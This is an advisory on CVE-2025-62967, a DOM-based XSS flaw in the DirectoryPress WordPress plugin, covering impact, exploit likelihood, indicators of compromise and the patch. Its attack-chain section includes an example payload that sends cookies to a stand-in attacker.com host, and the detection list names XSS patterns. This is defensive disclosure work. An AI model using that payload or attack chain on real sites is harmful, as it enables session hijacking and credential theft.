CVE-2025-62967: 
WordPress vulnerability analysis and mitigation

CVE-2025-62967 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Designinvento DirectoryPress WordPress plugin, affecting all versions up to and including 3.6.25. The vulnerability was reported by researcher Muhammad Yudha - DJ on September 18, 2025, disclosed by Patchstack on October 18, 2025, and published to NVD on October 27, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests as a DOM-Based XSS flaw within the DirectoryPress plugin for WordPress. DOM-Based XSS occurs when client-side JavaScript processes attacker-controlled data and writes it to the DOM without proper sanitization, allowing script injection that executes in the victim's browser context. Exploitation requires the attacker to hold at least a Contributor-level role on the WordPress site, and successful exploitation additionally requires a privileged user to perform an action such as clicking a malicious link or visiting a crafted page (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, redirection to malicious sites, and defacement via injected HTML payloads. The changed scope in the CVSS vector indicates the impact can extend beyond the plugin itself to affect other components of the WordPress environment, including site visitors (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-62967. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that while XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins, this specific issue is assessed as low priority and unlikely to be exploited (Patchstack).

1. Reconnaissance: Identify WordPress sites running the DirectoryPress plugin at version 3.6.25 or earlier, using tools like WPScan or Shodan.
2. Obtain Contributor access: Register or compromise a Contributor-level (or higher) account on the target WordPress site, as this privilege level is required to inject content via the plugin.
3. Craft malicious payload: Prepare a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute when processed by the plugin's client-side JavaScript.
4. Inject payload: Submit the crafted payload through a DirectoryPress plugin input field or parameter that is reflected into the DOM without sanitization.
5. Social engineering: Deliver a link to the crafted page to a privileged user (e.g., Administrator), as user interaction is required for exploitation.
6. Achieve objective: When the privileged user visits the page, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing unusual requests to DirectoryPress plugin endpoints containing encoded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload= patterns in query parameters or POST bodies.
• Network: Outbound browser requests from site visitors to unknown external domains shortly after visiting pages rendered by the DirectoryPress plugin, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to DirectoryPress plugin files or injection of malicious JavaScript into theme or plugin files if the attacker escalated privileges post-exploitation.
• Process/Application: Unusual admin-level actions (e.g., new admin account creation, plugin installations) in WordPress audit logs following visits to DirectoryPress-rendered pages by privileged users.

The vulnerability is patched in DirectoryPress version 3.6.26. Site administrators should update the plugin to version 3.6.26 or later immediately via the WordPress admin dashboard or by downloading the updated plugin from the official repository. If an immediate update is not possible, consider temporarily deactivating the DirectoryPress plugin and contacting your hosting provider or web developer for assistance. Patchstack users can enable auto-update for vulnerable plugins to automate remediation (Patchstack).

The vulnerability was discovered and responsibly disclosed through Patchstack's Active VDP (Vulnerability Disclosure Program), with credit given to researcher Muhammad Yudha - DJ. Wordfence included this vulnerability in its weekly WordPress vulnerability report for the period of October 13–19, 2025. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified (Patchstack, Wordfence).